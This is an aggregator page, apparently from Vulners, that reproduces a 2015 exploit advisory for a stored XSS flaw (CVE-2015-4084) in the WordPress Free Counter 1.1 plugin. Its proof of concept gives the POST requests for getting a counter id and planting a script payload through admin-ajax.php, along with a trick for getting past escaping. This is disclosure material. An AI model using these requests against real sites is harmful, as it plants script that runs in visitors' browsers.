Lucene search
K

WordPress Plugin Free Counter 1.1 Stored XSS Vulnerability

🗓️ 27 May 2015 00:00:00Reported by Panagiotis VagenasType 
zdt
 zdt
🔗 0day.today👁 39 Views

WordPress Plugin Free Counter 1.1 Stored XSS Vulnerability. Stored XSS attack via wp_ajax_nopriv_check_stat action. Affects widget displaying website's visits

Related
Code
ReporterTitlePublishedViews
Family
CNVD
WordPress Plugin Free Counter Cross-Site Scripting Vulnerability
1 Jun 201500:00
cnvd
CVE
CVE-2015-4084
28 May 201514:00
cve
Cvelist
CVE-2015-4084
28 May 201514:00
cvelist
Exploit DB
WordPress Plugin Free Counter 1.1 - Persistent Cross-Site Scripting
27 May 201500:00
exploitdb
EUVD
EUVD-2015-4109
7 Oct 202500:30
euvd
exploitpack
WordPress Plugin Free Counter 1.1 - Persistent Cross-Site Scripting
27 May 201500:00
exploitpack
NVD
CVE-2015-4084
28 May 201514:59
nvd
Packet Storm
WordPress Free Counter 1.1 Cross Site Scripting
27 May 201500:00
packetstorm
Patchstack
WordPress Free Counter Plugin 1.1 - Stored XSS
27 May 201500:00
patchstack
Prion
Cross site scripting
28 May 201514:59
prion
Rows per page
# Exploit Title: WordPress Free Counter Plugin [Stored XSS]
# Date: 2015/05/25
# Exploit Author: Panagiotis Vagenas
# Contact: https://twitter.com/panVagenas
# Vendor Homepage: http://www.free-counter.org
# Software Link: https://wordpress.org/plugins/free-counter/
# Version: 1.1
# Tested on: WordPress 4.2.2
# Category: webapps
# CVE: CVE-2015-4084
 
1. Description
 
Any authenticated or non-authenticated user can perform a stored XSS 
attack simply by exploiting wp_ajax_nopriv_check_stat action.
Plugin uses a widget to display website's visits, so any page that 
contains this widget will also load the malicious JS code.
 
2. Proof of Concept
 
* Send a post request to `http://www.free-counter.org/Api.php` in order 
to reveal the counter id of the vulnerable site. The POST data must 
contain the following vars: 
`action=create_new_counter&site_url=http%3A%2f%my.vulnerable.website.com`
* As a response we get a serialized indexed array. The value that we 
need to know is the 'counter_id'.
* Send a post request to 
`http://my.vulnerable.website.com/wp-admin/admin-ajax.php` with data: 
`action=check_stat&id_counter=<counter_id from step 
2>&value_=<script>alert(1)</script>`
* Visit a page of the infected website that displays plugin's widget.
 
Note that the plugin uses the update_option function to store the 
$_POST['value_'] contents to DB so any code inserted there will be 
escaped. Even though a malicious user can omit the quotes in the src 
attr of the script tag. Most modern browsers will treat the tag as they 
were there.
 
3. Solution
 
No official solution yet exists.

#  0day.today [2018-01-02]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation